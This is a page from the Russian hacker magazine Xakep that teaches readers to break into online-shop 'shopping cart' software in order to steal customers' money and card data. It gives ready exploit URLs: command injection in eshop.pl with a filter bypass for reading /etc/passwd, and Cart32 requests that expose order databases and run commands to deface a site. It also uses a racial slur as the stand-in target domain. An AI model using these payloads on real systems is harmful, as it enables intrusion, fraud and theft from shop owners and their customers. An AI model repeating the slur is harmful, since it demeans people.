Потребительская корзина хакеров

Xakep, номер #037, стр. 037-056-1

Большинство дырок в софте онлайн-магазинов

VOY aka Гребенников Роман (voy@zlo.cc)

СС... как много эти вещи значат в жизни рядового компьютерного хулигана: тут и нормальные приличные шеллы, и платные хостинги с доменным именем второго уровня, и отсутствие проблем с регистрацией проги, к которой кряка не существует даже в природе. И все так хорошо стало, радужно, только один вопрос волнует голову: где их взять? Где их раскопал какой-то баран на #cc? Как это так, он может, а я нет? Так и до комплекса неполноценности дорасти можно. В этой статье я попытаюсь рассказать о наиболее простом и "прибыльном" способе отъема денег населения :). А точнее, у зажравшихся америкосов, покупателей их буржуазных онлайн-магазинов :). Займемся мы взломами систем "shopping cart", на которых и лежит бремя ответственности за деньги честных пользователей Интернета.

[ eshop.pl ]

Полное название:

Webdiscount E-Shop Online Shop System

Диагноз:

Удаленное исполнение команд на сервере

Эксплоит:

www.niggers.org/cgi-bin/eshop.pl?seite=;ls|

(здесь и далее www.niggers.org - это атакуемый сайт)

Описание:

В самом коде скрипта отсутствует большинство проверок на метасимволы. Единственная проверка это

if ((index($seite, "/") >= 0) || (index($seite, "..") >= 0))

{

print "a";

exit(0);

}

что говорит о том, что скрипт отфильтровывает из аргумента только символы "/" и "..". Это затрудняет использование уязвимости, но все-таки позволяет выполнять ЛЮБЫЕ команды, даже те, в которых есть символ "/". Использование: мы не можем использовать символ "/", но что нам мешает его сгенерировать при помощи перла и подставить его в команду? Вместо "/" подставляем в команду вот такую конструкцию `perl -e 'print "\x2f"x1'` (Вместе со ВСЕМИ кавычками и апострофами!). Теперь, чтобы сделать листинг корневой директории, нам надо всего лишь ввести в браузере:

www.niggers.org/cgi-bin/eshop.pl?seite=;ls -la `perl -e 'print "\x2f"x1'` (листинг корня диска)

www.niggers.org/cgi-bin/eshop.pl?seite=;cat `perl -e 'print "\x2f"x1'`etc`perl -e 'print "\x2f"x1'`passwd (пассворды)

Частота использования: Встречается очень редко (балл: 2 (из 5))

(если найдешь этот скрипт на www.azl.de, то и не мечтай его использовать. Там все исправлено вручную после пикника с ночевкой у них на винчестере, который кто-то устроил :).

[ cart32.exe ]

Полное название:

McMurtrey/Whitaker & Associates Cart32 Shopping System

Диагноз:

Пользование всей базы заказов и исполнение команд на сервере, DOS-атака

Эксплоит:

(1) www.niggers.org/cgi-bin/cart32.exe/cart32clientlist

(2) www.niggers.org/cgi-bin/c32web.exe

(3) www.niggers.org/cgi-bin/c32web.exe/showprogress

(4) www.niggers.org/cgi-bin/c32web.exe?tabname=cart32%2B&action=save+cart32%2B+tab&savetab=cart32%2Bclient=!Loginname!&clientpassword=!password!&Admin=&adminpassword=&tabtosave=cart32%2Bplustabtosave=run+external+program&usecmdline=yes&cmdline=cmd.exe+echo+hello, world!>c:/inetpub/wwwroot/www.niggers.org/index.htm

(5) www.niggers.org/cgi-bin/cart32.exe/expdate

Описание:

Использовать эту уязвимость можно только на корзинках версии меньше 3.5а, причем таковых в Интернете немерено: обычный запрос на www.altavista.com выдал мне примерно 110 результатов, что, поверь мне, немало. Штук пять я сам попробовал, но кредиток почему-то там не оказалось. Видимо, корзинку ставили просто ради пробы и забыли ее удалить.

Содержание  Вперед на стр. 037-056-2

Выпуски журнала "Xakep"
Журнал Хакер. Содержание номера #001Журнал Хакер. Содержание номера #002Журнал Хакер. Содержание номера #003Журнал Хакер. Содержание номера #004Журнал Хакер. Содержание номера #005Журнал Хакер. Содержание номера #006Журнал Хакер. Содержание номера #007Журнал Хакер. Содержание номера #008Журнал Хакер. Содержание номера #009Журнал Хакер. Содержание номера #010Журнал Хакер. Содержание номера #011Журнал Хакер. Содержание номера #012Журнал Хакер. Содержание номера #013Журнал Хакер. Содержание номера #014Журнал Хакер. Содержание номера #015Журнал Хакер. Содержание номера #016Журнал Хакер. Содержание номера #017Журнал Хакер. Содержание номера #018Журнал Хакер. Содержание номера #019Журнал Хакер. Содержание номера #020Журнал Хакер. Содержание номера #021Журнал Хакер. Содержание номера #022Журнал Хакер. Содержание номера #023Журнал Хакер. Содержание номера #024Журнал Хакер. Содержание номера #025Журнал Хакер. Содержание номера #026Журнал Хакер. Содержание номера #027Журнал Хакер. Содержание номера #028Журнал Хакер. Содержание номера #029Журнал Хакер. Содержание номера #030Журнал Хакер. Содержание номера #031Журнал Хакер. Содержание номера #032Журнал Хакер. Содержание номера #033Журнал Хакер. Содержание номера #034Журнал Хакер. Содержание номера #035Журнал Хакер. Содержание номера #036Журнал Хакер. Содержание номера #037Журнал Хакер. Содержание номера #038Журнал Хакер. Содержание номера #039Журнал Хакер. Содержание номера #040Журнал Хакер. Содержание номера #041Журнал Хакер. Содержание номера #042Журнал Хакер. Содержание номера #043Журнал Хакер. Содержание номера #044Журнал Хакер. Содержание номера #045Журнал Хакер. Содержание номера #046Журнал Хакер. Содержание номера #047Журнал Хакер. Содержание номера #048Журнал Хакер. Содержание номера #049Журнал Хакер. Содержание номера #050Журнал Хакер. Содержание номера #051Журнал Хакер. Содержание номера #052Журнал Хакер. Содержание номера #053Журнал Хакер. Содержание номера #054Журнал Хакер. Содержание номера #055Журнал Хакер. Содержание номера #056Журнал Хакер. Содержание номера #057Журнал Хакер. Содержание номера #058Журнал Хакер. Содержание номера #059Журнал Хакер. Содержание номера #060Журнал Хакер. Содержание номера #061Журнал Хакер. Содержание номера #062Журнал Хакер. Содержание номера #063Журнал Хакер. Содержание номера #064Журнал Хакер. Содержание номера #065Журнал Хакер. Содержание номера #066Журнал Хакер. Содержание номера #067Журнал Хакер. Содержание номера #068Журнал Хакер. Содержание номера #069Журнал Хакер. Содержание номера #070Журнал Хакер. Содержание номера #071Журнал Хакер. Содержание номера #072Журнал Хакер. Содержание номера #073Журнал Хакер. Содержание номера #074Журнал Хакер. Содержание номера #075Журнал Хакер. Содержание номера #076Журнал Хакер. Содержание номера #077Журнал Хакер. Содержание номера #078Журнал Хакер. Содержание номера #079Журнал Хакер. Содержание номера #080Журнал Хакер. Содержание номера #081Журнал Хакер. Содержание номера #082Журнал Хакер. Содержание номера #083Журнал Хакер. Содержание номера #084Журнал Хакер. Содержание номера #085Журнал Хакер. Содержание номера #086Журнал Хакер. Содержание номера #087Журнал Хакер. Содержание номера #088Журнал Хакер. Содержание номера #089Журнал Хакер. Содержание номера #090Журнал Хакер. Содержание номера #091Журнал Хакер. Содержание номера #092Журнал Хакер. Содержание номера #093Журнал Хакер. Содержание номера #094Журнал Хакер. Содержание номера #095Журнал Хакер. Содержание номера #096Журнал Хакер. Содержание номера #097Журнал Хакер. Содержание номера #098Журнал Хакер. Содержание номера #099Журнал Хакер. Содержание номера #100Журнал Хакер. Содержание номера #101Журнал Хакер. Содержание номера #102Журнал Хакер. Содержание номера #103Журнал Хакер. Содержание номера #104Журнал Хакер. Содержание номера #105Журнал Хакер. Содержание номера #106Журнал Хакер. Содержание номера #107Журнал Хакер. Содержание номера #108Журнал Хакер. Содержание номера #109Журнал Хакер. Содержание номера #110Журнал Хакер. Содержание номера #111Журнал Хакер. Содержание номера #112Журнал Хакер. Содержание номера #113Журнал Хакер. Содержание номера #114